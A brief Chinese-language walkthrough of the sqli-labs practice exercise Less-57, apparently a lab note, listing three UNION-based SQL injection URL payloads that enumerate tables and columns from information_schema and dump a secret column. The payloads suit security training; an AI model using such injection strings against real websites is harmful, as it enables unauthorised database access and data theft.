Less(57)

1.和less(54)差不多, "闭合

2.爆破

  (1)爆表:?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

    Less(57)

  (2)爆列名:?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='i9347c02x8'--+

    Less(57)

  (3)爆值:?id=0" union select 1,2,group_concat(secret_LDNV) from challenges.i9347c02x8 --+

      Less(57)